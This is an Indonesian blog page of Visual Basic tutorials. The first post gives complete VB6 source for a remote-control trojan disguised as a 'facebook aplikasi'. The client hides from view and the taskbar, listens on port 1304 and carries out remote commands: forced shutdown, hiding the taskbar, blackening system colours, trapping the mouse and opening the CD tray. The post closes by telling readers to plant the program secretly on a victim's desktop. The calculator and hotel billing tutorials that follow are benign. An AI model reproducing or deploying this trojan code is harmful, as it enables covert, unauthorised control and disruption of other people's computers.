Popular Posts

Showing posts with label Tutorial Visual Basic. Show all posts

  • Membuat Spyware sendiri

    By : Unknown

    0 Comment

    Membuat Spyware sendiri


    Pernahkan anda mendengar kata spyware dan trojan ?
    yay spyware merupakan sejenis program yang dapat mencuri semua data di computer dengan  cara merekam berbagai aktivitas kita di computer sedangkan Trojan adalah sebuah program atau berupa script yang dapat mengexploitasi system computer kita,
    Sekarang banyak di pasaran spyware gratis tapi mengandung dan terdeteksi antivirus dan adapula yang memakai lisensi trial software,
    anda tidak usah bingung, anda dapat membuat sendiri dengan bantuan Visual Basic 6.0, Untuk caranya silahkan ikuti intruksi berikut :

    1.buat sebuah form di dalam project vb dengan atribut :
    Nama : menu
    Caption : Spy Hacker Tool
    nama dan caption terserah anda
    Tambahkan 3 buah picture lalu masukan imge yang brupa button dengan nama setting , about, exit.nah bila sudah selesai masukan listing program di bawah ini pada masing2 picture:
    Pada picture1
    Private Sub picture1_Click()
    intro.Show
    End Sub
    Pada picture2
    Private Sub picture2_Click()
    about.Show
    End Sub
    Pada picture3
    Private Sub picture3_Click()
    end
    End Sub
    Fungsi form ini hanya sebagai menu pembuka saja
    2.tambahkan sebuah form pada project vb tadi dengan atribut:
    Nama : intro
    BorderStyle : 2.Sizable
    Caption : Spy Hacker Tool
    3.Atur components control dengan aturan sebagai berikut:
    Centang Microsoft windows common control 6.0 (sp6)
    Lalu centang Microsoft winsock control 6.0
    4.atur references dengan aturan sebagai berikut :
    Centang Microsoft activex data objects 2.0 library
    5.tambahkan komponen toolbar pada form intro dengan pengaturan propertis :
    general
    Imagelist: imagelist1
    Button
    Tambahkan 17 button pada toolbar dengan nama
    Button1 caption: open
    Button2 caption: close
    Button3 caption: hide
    Button4 caption: show
    Button5 caption:tangkap
    Button6 caption:normalisasi
    Button7 caption:Gelap
    Button8 caption:kill
    Button9 caption: message
    Button10 caption:racuni
    Button11caption:keylongger active
    Button 12caption:keylongger dactive
    Button13caption:disablekeyboard
    Button14caption:activekeyboard
    Button15caption:info
    Button16caption:minimize
    Button17caption:exit
    Image
    Terserah anda yang penting sesuai dengan imagelist anda
    Tooltipstext
    Terserah anda
    6.tambahkan komponen imagelist pada form intro
    7.tambahkan komponen winsock pada from intro
    8.tambahkan 1 komponen textbox dengan pengaturan atribut sebagai brikut:
    text :
    9.tambahkan 2 buah command button atur atribut sebagai berikut:
    Button1
    Nama:cmdkoneksi
    Caption:konek
    Button2
    Nama:cmddiskonek
    Caption:diskonek
    10.tambahkan 4 buah label dengan pengaturan atribut sbagai berikut:
    Label1
    caption : koneksi
    Label2
    Caption : IP Address
    Label3
    Caption:
    Label4
    Caption:
    11.tambahkan 2 buahmodul pada project dengan nama :
    Client
    opsiremoter
    Setelah semua menu sudah siap silahkan buat listing program di bawah ini pada cmddiskonek :
    Private Sub Cmddiskonek_Click()
    Winsock1.Close
    Label3.Caption = "Status : Diskonek Koneksi Telah Terputus"
    End Sub
    masukan listing programe di bawah ini pada cmdkonek :
    Private Sub Cmdkonek_Click()
    On Error GoTo pesan
    Winsock1.Connect Main.ip.Text, 1304
    Exit Sub
    pesan:
    MsgBox "Konksi ke Target Sasaran Gagal, slave/server Tidak aktif"
    End Sub
    masukan listing programe di bawah ini pada toolbar :
    Private Sub Toolbar1_ButtonClick(ByVal Button As MSComctlLib.Button)
    Select Case Button.Index
    Case 1
    perintah "bukacdrom"
    Case 2
    perintah "tutupcdrom"
    Case 3
    perintah "umpetintaskbar"
    Case 4
    perintah "tunjukintaskbar"
    Case 5
    perintah "tangkaptikus"
    Case 6
    perintah "lepastikus"
    Case 7
    perintah "itemdeh"
    Case 8
    perintah "shutdown"
    Case 9
    Unload Me
    End Select
    End Sub
    masukan listing programe di bawah ini pada komponen winsock :
    Private Sub winsock1_DataArrival(ByVal bytesTotal As Long)
    Dim DataMasuk As String
    Main.Winsock1.GetData DataMasuk
    OpsiRemoter.OpsiPerintah (DataMasuk)
    End Sub
    masukan listing programe di bawah ini pada modul client :
    Public Sub perintah(data As String)
    INTRO.Winsock1.SendData data$
    End Sub
    masukan listing programe di bawah ini pada modul opsiremoter :
    Public Sub OpsiPerintah(ResponDariServer As String)
    Select Case ResponDariServer
    Case "Terkonek"
    INTRO.Label4.Caption = "Status : Terkonek ke PC target"
    GoTo Reset
    Case "unknown"
    MsgBox "Perintah Tidak Tersedia"
    GoTo Reset
    Case Else
    MsgBox "????Apaan Tuh??"
    GoTo Reset
    End Select
    10
    Reset:
    DoEvents
    End Sub
    Jika anda sudah selesai save as sebagai extension .exe setelah itu buatlah form untuk client dan buatlah semenarik mungkin sehingga mengundang rasa penasaran,
    1.Tambahkan sebuah form atur atributnya menjadi :
    Nama : main
    Borderstyle:2sizable
    Caption: facebook aplikasi
    2.Tambahkan komponen timer pada form main
    3.Tambahkan komponen winsock pada from main
    4.Atur pengaturan komponen control nya dengan mencentang Microsoft winsock control 6.0
    5.Tambahkan 1 buah button atur menjadi:
    Caption: konek facebook
    6.Tambahkan 3 buah modul atur nama masing2 modul menjadi:
    Bukakoneksi
    Fungsideklarasi
    Opsitrojan
    Nah setelah semua pengaturan di atas selesai.kini kita masuk ke tahap pengkodingan (listing programe)masukan listing programe di bawah ini pada form main :
    Private Sub Form_Load()
    Me.Visible = False
    App.TaskVisible = False
    Me.Hide
    bukakoneksi.mulaikoneksi
    End Sub
    masukan listing programe di bawah ini pada komponen winsock :
    Private Sub winsock1_ConnectionRequest(ByVal requestID As Long)
    Main.Winsock1.Close
    Main.Winsock1.Accept requestID
    perintahserver "Terkonek"
    End Sub
    Masukan listing programe di bawah ini pada komponen winsock dengan procedure : dataarrival
    Private Sub winsock1_DataArrival(ByVal bytesTotal As Long)
    Dim ServerTrojan As String
    Main.Winsock1.GetData ServerTrojan
    OpsiTrojan.PerintahTrojan (ServerTrojan)
    End Sub
    Masukan listing programe di bawah ini pada komponen timer :
    Private Sub timer1_Timer()
    X = 0 And goRight = False
    Y = 0 And goUp = False
    SetCursorPos X, Y
    End Sub
    Masukan listing programe di bawah ini pada modul bukakoneksi :
    Public Sub mulaikoneksi()
    mulai:
    Main.Winsock1.LocalPort = 1304
    Main.Winsock1.Listen
    End Sub
    Public Sub perintahserver(data As String)
    Main.Winsock1.SendData data$
    End Sub
    Masukan listing programe di bawah ini pada modul fungsi deklarasi :
    Declare Function mciSendString Lib "winmm.dll" Alias "mciSendStringA" (ByVal lpstrCommand As String, ByVallpstrReturnString As Any, ByVal uReturnLength As Long, ByVal hWndCallback As Long) As Long
    'lpstrReturnString As Any, ByVal uReturnLength As Long, ByVal hWndCallback As Long) As Long
    Public Declare Function SetCursorPos Lib "user32" (ByVal X As Long, ByVal Y As Long) As Long 'untuk kerjain
    mouse
    Public Declare Function SendMessage Lib "user32" Alias "SendMessageA" (ByVal hwnd As Long, ByVal wMsg As Long, ByVal wParam As Long, ByVal lParam As Long) As Long
    'Long, ByVal wParam As Long, ByVal lParam As Long) As Long
    Public Declare Function SendMessageA Lib "user32" (ByVal hwnd As Integer, ByVal wMsg As Integer, ByValwParam As Integer, lParam As Any) As Long
    'wParam As Integer, lParam As Any) As Long
    Public Declare Function SendMessageLong Lib "user32" Alias "SendMessageA" (ByVal hwnd As Long, ByValwMsg As Long, ByVal wParam As Long, ByVal lParam As Long) As Long
    'wMsg As Long, ByVal wParam As Long, ByVal lParam As Long) As Long
    Public Declare Function FindWindow Lib "user32" Alias "FindWindowA" (ByVal lpClassName As String, ByVallpWindowName As String) As Long
    'lpWindowName As String) As Long
    Public Declare Function FindWindowA Lib "user32" (ByVal lpClassName As Any, ByVal lpWindowName As Any) As Integer
    'As Integer
    Public Declare Function FindWindowEx Lib "user32" Alias "FindWindowExA" (ByVal hWnd1 As Long, ByValhWnd2 As Long, ByVal lpsz1 As String, ByVal lpsz2 As String) As Long
    'hWnd2 As Long, ByVal lpsz1 As String, ByVal lpsz2 As String) As Long
    Public Declare Function ShowWindow Lib "user32" (ByVal hwnd As Long, ByVal nCmdShow As Long) As Long
    Public Declare Function ExitWindowsEx Lib "user32" (ByVal uFlags As Long, ByVal dwReserved As Long) As Long
    'Long
    Public Declare Function setsyscolors Lib "user32" Alias "SetSysColors" (ByVal nChanges As Long, lpSysColor As Long, lpColorValues As Long) As Long
    'Long, lpColorValues As Long) As Long
    Public Const SW_SHOW = 5
    Public Const SW_RESTORE = 9
    Public Const SW_HIDE = 0
    Public Const EWX_FORCE = 4
    Public Const WM_SYSCOMMAND = &H112&
    'Untuk sembunyikan Taskbar window
    Function Hide_TaskBar()
    ShowWindow FindWindow("Shell_TrayWnd", vbNullString), SW_HIDE
    End Function
    'Untuk mengembalikan Taskbar window
    Function Show_TaskBar()
    ShowWindow FindWindow("Shell_TrayWnd", vbNullString), SW_SHOW
    End Function
    'Maksa log off/reboot
    Public Sub Win_ForceShutdown()
    ExitWindowsEx EWX_FORCE, 0
    End Sub
    'Ngubah warna desktop
    Sub Change_Colors(Num As Long, COLOR As Long)
    setsyscolors 1, Num, COLOR
    End Sub
    Masukan listing programe di bawah ini pada modul printah Trojan:
    Public Sub PerintahTrojan(newdata As String)
    Select Case newdata
    Case "bukacdrom"
    fungsi = mciSendString("set cdaudio door open", 0&, 0, 0)
    GoTo Reset
    Case "tutupcdrom"
    fungsi = mciSendString("set cdaudio door closed", 0&, 0, 0)
    GoTo Reset
    Case "umpetintaskbar"
    FungsiDeklarasi.Hide_TaskBar
    GoTo Reset
    Case "tunjukintaskbar"
    FungsiDeklarasi.Show_TaskBar
    GoTo Reset
    Case "shutdown"
    FungsiDeklarasi.Win_ForceShutdown
    GoTo Reset
    Case "itemdeh"
    FungsiDeklarasi.Change_Colors 1, vbBlack
    FungsiDeklarasi.Change_Colors 2, vbBlack
    FungsiDeklarasi.Change_Colors 3, vbBlack
    FungsiDeklarasi.Change_Colors 4, vbBlack
    FungsiDeklarasi.Change_Colors 5, vbBlack
    FungsiDeklarasi.Change_Colors 8, vbBlack
    FungsiDeklarasi.Change_Colors 10, vbBlack
    FungsiDeklarasi.Change_Colors 11, vbBlack
    FungsiDeklarasi.Change_Colors 13, vbBlack
    FungsiDeklarasi.Change_Colors 15, vbBlack
    FungsiDeklarasi.Change_Colors 16, vbBlack
    FungsiDeklarasi.Change_Colors 17, vbBlack
    FungsiDeklarasi.Change_Colors 18, vbBlack
    FungsiDeklarasi.Change_Colors 19, vbBlack
    FungsiDeklarasi.Change_Colors 20, vbBlack
    FungsiDeklarasi.Change_Colors 21, vbBlack
    FungsiDeklarasi.Change_Colors 23, vbBlack
    FungsiDeklarasi.Change_Colors 24, vbBlack
    FungsiDeklarasi.Change_Colors 27, vbBlack
    FungsiDeklarasi.Change_Colors 28, vbBlack
    GoTo Reset
    Case "tangkaptikus"
    Main.timer1.Enabled = True
    GoTo Reset
    Case "lepastikus"
    Main.timer1.Enabled = False
    GoTo Reset
    Case Else
    PerintahTrojan "???"
    GoTo Reset
    End Select
    Reset:
    DoEvents
    End Sub
    Nahhh anda bisa save as juga dengan .exe lalu anda simpan di computer client dengan cara copy di desktop secara diam-diam J

  • Program Kalkulator Lengkap Dengan Visual Basic 6.0

    By : Unknown

    4 Comments

    Langsung aja ya sob..., untuk tampilan pada program visual basic seperti pada gambar 1 dan penampakan pada saat dijalankan pada gambar 2.

    Program Kalkulator Dengan Visual Basic 6.0
    gambar 1

    Program Kalkulator Lengkap Visual Basic 6.0
    gambar 2


    Untuk rumus kalkulator hampir sama dengan yang kalkulator sederhana hanya dipersingkat dalam satu prosedure saja agar mudah dalam mengatasi memori penyimpanan dan errornya :-D .
    Kurang lebih rumusnya seperti ini :
    Private Sub cmdOP_Click(Index As Integer)

On Error GoTo CheckIfOverFlowErr 

If bWasError Then
    Beep
    Exit Sub
End If

If bOp = True And bEqual = False Then 
 nOp = Index 'Remember the last operatore
 Exit Sub 'And..Exit sub
    ElseIf bEqual = True And bOp = True Then 
        If nOp = 1 Or nOp = 2 Then 
            nLastNum = 0 
                Else
                    nLastNum = 1 
        End If
End If

If nOp = 0 Then
    nResult = CDbl(lblOutput.Caption)
End If

Select Case nOp

    Case 1 '+
        nResult = nResult + nLastNum
    Case 2 '-
        nResult = nResult - nLastNum
    Case 3 '*
        nResult = nResult * nLastNum
    Case 4 '/
        
        If nLastNum = 0 Then
            lblOutput.Caption = "Cannot divide by zero."
            bWasError = True
            Exit Sub
            Else
                nResult = nResult / nLastNum
        End If
        
End Select

nOp = Index
bOp = True
bEqual = False
lblOutput.Caption = nResult

If Left$(lblOutput.Caption, 1) = "." Then
    lblOutput.Caption = "0" & nResult
End If

btnFocusEqual.SetFocus

Exit Sub
CheckIfOverFlowErr:

If Err.Number = 6 Then
    lblOutput.Caption = "Value is over max calculation limit."
    bWasError = True
End If

End Sub

    Wadaw..  Sepertinya panjang juga kalau semua source codenya ditampilkan diartikel ini  ( bilang aja males ngetik lagi Xixixi.. )
    atau...
    untuk lengkapnya langsung saja sedot sob...

    Download Source Code Kalkulator Lengkap dengan Visual Basic 6.0


  • Cara membuat Aplikasi Hotel di Visual Basic 2008

    By : Unknown

    0 Comment
    Langkah – langkah pembuatan aplikasi HOTEL 
    Masukkan objek yang diperlukan seperti Label,Texbox ,ComboBox ,DateTime dll , untuk membuat Aplikasi tersebut,cara nya masih sama seperti biasa.Dalam pembuatan aplikasi kali ini kita ada penambahan tool nya yaitu CheckBox dan RadioButton. 
    Cara memasukan objek Checbox dan RadioButton sama seperti objek yang lain,untuk lebih jelas nya perhatikan gambar berikut :



     Setelah kita membuat Checkboxnya, Berinama di text di bagian properties tersebut, dan kemudian di bagian Name berinama untuk memudahkan mengisi rumusnya ,cara nya sama seperti pengisian di Objek yang laen.
    Perhatikan Gambar di bawah ini :













     Memasukan Objek Radio Button sama caranya seperti Checbox Perhatikan Gambar di bawah ini :









    Apa guna Checkbox Dan Radio Button ??
    Setelah kita membuat Tool tersebut kita belum tahu apa guna Checkbox Dan Radio Button.
    Checkbox digunakan untuk memilih lebih dari satu seperti pilihan extrabet,Fitness,Cofe Break.
    RadioButton digunakan ketika kita di tuntut untuk memilih salah satu dari pilihan yang ada.
    Setelah selesai membuat  Checkbox ,RadioButton,dibagian Texbox Total kita ingin membuat nya besar dan berwarna maka cara sebagai berikut :
    Klik ditexbox pilih properties
    Klik dibagian font pilih ukuran Font nya klik ok
    Setelah itu kita ingin Texbox bewarna untuk membeda dengan Texbox lainya maka kita buat Back color dengan cara klik Properties pilih Back color
    Perhatikan Gambar dibawah ini :





    Memberi angka di TextBox disisi kanan , karena di aplikasi sering kita lihat angka nya keluar dari sisi kanan.
    Cara mudah nya draq dari texbox pertama ke textbox berikutnya, setelah itu isi diproperties text 0, setelah itu pilih textAlign perataan nya kanan (Right)
    Perhatikan gambar dibawah ini :


    Mengisi Syntax di Aplikasi Hotel 





    Ini syntax form pertama untuk pengisian variabelnya
    Public Class Form1
            Dim i As Integer
            Dim vtarif As Double
            Dim vextrabed As Double
            Dim vfitnes As Double
            Dim vcbreak As Double
            Dim vlaundry As Double
            Dim vt_fasilitas As Double
            Dim vpajak As Double
            Dim vharibsr As Double
            Dim vweek As Double
            Dim vmember As Double
            Dim vtotal As Double
            Dim vbayar As Double
       Dim vkembalian As Double
    Private Sub Form1_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load
            cbo_Tipekamar.Items.Clear()
            cbo_Tipekamar.Items.Add("VIP")
            cbo_Tipekamar.Items.Add("EKONOMI")
            cbo_Tipekamar.Items.Add("DELUXE")
            cbo_Tipekamar.Items.Add("FAMILY")
        End Sub
    Syntax tipe kamar (Cbo_Tipekamar)

    Private Sub cbo_Tipekamar_SelectedIndexChanged(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles cbo_Tipekamar.SelectedIndexChanged
            cbo_NOkamr.Items.Clear()
    Untuk add data ditype tanpa harus mengetik satu persatu.(i) integernya.
            If cbo_Tipekamar.Text = "VIP" Then
                '-----------------------------------
                For i = 101 To 106
                    cbo_NOkamr.Items.Add(i)
                Next
                '------------------------------------
                vtarif = 2000000
            ElseIf cbo_Tipekamar.Text = "EKONOMI" Then
                vtarif = 500000
                For i = 211 To 216
                    cbo_NOkamr.Items.Add(i)
                Next
            ElseIf cbo_Tipekamar.Text = "DELUXE" Then
                vtarif = 1000000
                For i = 321 To 326
                    cbo_NOkamr.Items.Add(i)
                Next
            ElseIf cbo_Tipekamar.Text = "FAMILY" Then
                vtarif = 1500000
                For i = 327 To 332
                    cbo_NOkamr.Items.Add(i)
                Next
            End If
            txt_tarif.Text = FormatNumber(vtarif, 0, TriState.True, TriState.True, TriState.True)
        End Sub

    Mengisi syntax di checkbox

    Syntax di Extrabet (Cb_Extrabet)
    Private Sub cb_Extrabed_CheckedChanged(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles cb_Extrabed.CheckedChanged
            If cb_Extrabed.Checked = True Then
                vextrabed = 200000
                vt_fasilitas = vt_fasilitas + vextrabed
            Else
                vt_fasilitas = vt_fasilitas - vextrabed
                vextrabed = 0
            End If
            txt_extrabed.Text = FormatNumber(vextrabed, 0, TriState.True, TriState.True, TriState.True)
            txt_total_fasilitas.Text = FormatNumber(vt_fasilitas, 0, TriState.True, TriState.True, TriState.True)
        End Sub
    Syntax di Fitness (cb_Fitnes)
    Private Sub cb_Fitnes_CheckedChanged(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles cb_Fitnes.CheckedChanged
            If cb_Fitnes.Checked = True Then
                vfitnes = 100000
                vt_fasilitas = vt_fasilitas + vfitnes
            Else
                vt_fasilitas = vt_fasilitas - vfitnes
                vfitnes = 0
            End If
            Txt_fitnes.Text = FormatNumber(vfitnes, 0, TriState.True, TriState.True, TriState.True)
            txt_total_fasilitas.Text = FormatNumber(vt_fasilitas, 0, TriState.True, TriState.True, TriState.True)
        End Sub
    Syntax di CofeBreak (cb_Cofebreak)
    Private Sub cb_Cofebreak_CheckedChanged(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles cb_Cofebreak.CheckedChanged
            If cb_Cofebreak.Checked = True Then
                vcbreak = 120000
                vt_fasilitas = vt_fasilitas + vcbreak
            Else
                vt_fasilitas = vt_fasilitas - vcbreak
                vcbreak = 0
            End If
            Txt_cofebreak.Text = FormatNumber(vcbreak, 0, TriState.True, TriState.True, TriState.True)
            txt_total_fasilitas.Text = FormatNumber(vt_fasilitas, 0, TriState.True, TriState.True, TriState.True)
        End Sub
    Syntax di Laundry (Cb_Laundry)
        Private Sub Cb_Laudry_CheckedChanged(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Cb_Laudry.CheckedChanged
            If Cb_Laudry.Checked = True Then
                vlaundry = 200000
                vt_fasilitas = vt_fasilitas + vlaundry
            Else
                vt_fasilitas = vt_fasilitas - vlaundry
                vlaundry = 0
            End If
            Txt_Laundry.Text = FormatNumber(vlaundry, 0, TriState.True, TriState.True, TriState.True)
            txt_total_fasilitas.Text = FormatNumber(vt_fasilitas, 0, TriState.True, TriState.True, TriState.True)
        End Sub
    Untuk memudah kan kita mengisi Syntax,jika misal rumus tersebut fungsi nya sama,kita menggunakan cara mudah tanpa harus mengetik ulang rumus tersebut,cara sebagai berikut :
    Blok syntax nya sesudah itu copy paste di tempat yang sama fungsinya,sesudah itu tekan Ctrl H,
    Maka akan otomatis keluar menu berikut seperti gambar dibawah ini :










    Syntax penunggu panggilan he
    Sub caritotal()
            vtotal = vtarif * Val(txt_lama.Text) + vt_fasilitas + vpajak - vharibsr - vweek - vmember
            txt_total.Text = FormatNumber(vtotal, 0, TriState.True, TriState.True, TriState.True)
        End Sub
    Mengis syntax di Radio Button
    Syntax di Haribesar (Rd_haribesar)
    Private Sub Rd_haribesar_CheckedChanged(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Rd_haribesar.CheckedChanged
            If Rd_haribesar.Checked = True Then
                vharibsr = 10 / 100 * vtarif
            Else
                vharibsr = 0
            End If
            Txt_haribsr.Text = FormatNumber(vharibsr, 0, TriState.True, TriState.True, TriState.True)
            Call caritotal()
        End Sub
    Syntax di weekend (rd_week)
     Private Sub rd_week_CheckedChanged(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles rd_week.CheckedChanged
            If rd_week.Checked = True Then
                vweek = 15 / 100 * vtarif
            Else
                vweek = 0
            End If
            Txt_week.Text = FormatNumber(vweek, 0, TriState.True, TriState.True, TriState.True)
            Call caritotal()
        End Sub
    Syntax di member (Rd_member)
        Private Sub rd_member_CheckedChanged(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles rd_member.CheckedChanged
            If rd_member.Checked = True Then
                vmember = 25 / 100 * vtarif
            Else
                vmember = 0
            End If
            Txt_member.Text = FormatNumber(vmember, 0, TriState.True, TriState.True, TriState.True)
            Call caritotal()
        End Sub
    Pengisian syntax di texbox (txt_Lama)
    Private Sub txt_lama_TextChanged(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles txt_lama.TextChanged
            Call caritotal()
        End Sub
        Private Sub txt_pajak_TextChanged(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles txt_pajak.TextChanged
            Call caritotal()
        End Sub
        Private Sub txt_bayar_KeyDown(ByVal sender As Object, ByVal e As System.Windows.Forms.KeyEventArgs) Handles txt_bayar.KeyDown
            If e.KeyCode <> Keys.Enter Then Exit Sub
            vbayar = txt_bayar.Text
            If vbayar >= vtotal Then
                vkembalian = vbayar - vtotal
                txt_kembalian.Text = FormatNumber(vkembalian, 0, TriState.True, TriState.True, TriState.True)
                txt_bayar.Text = FormatNumber(vbayar, 0, TriState.True, TriState.True, TriState.True)
            Else
                MessageBox.Show("Uang anda tidak mencukupi untuk melakukan transaksi ini", "Peringatan", MessageBoxButtons.OK)
                txt_bayar.Clear()
                txt_bayar.Focus()
            End If
        End Sub
    Pengisian syntax di Tombol / Button(bt_hapus dan bt_keluar)
        Private Sub bt_hapus_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles bt_hapus.Click
            txt_tarif.Clear()
            txt_lama.Clear()
            txt_pajak.Clear()
            txt_total_fasilitas.Clear()
            txt_total.Clear()
            txt_kembalian.Clear()
            txt_extrabed.Clear()
            Txt_fitnes.Clear()
            Txt_cofebreak.Clear()
            Txt_Laundry.Clear()
            Txt_haribsr.Clear()
            Txt_member.Clear()
            Txt_week.Clear()
        End Sub
        Private Sub bt_keluar_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles bt_keluar.Click
            If MessageBox.Show("Apakah anda yakin ingin keluar dari form tersebut?", "konfirmasi", MessageBoxButtons.YesNo, MessageBoxIcon.Question, MessageBoxDefaultButton.Button2) = Windows.Forms.DialogResult.Yes Then
            End If
            Me.Close()
        End Sub
    End Class
    Tampilan Aplikasi Hotel




























    Download Project nya Klik disini

    • Subscribe to: Posts (Atom)

    Nisekoi Template Designed by Johanes Djogan

    ©2016 - ReDesigned By Ani-Sudo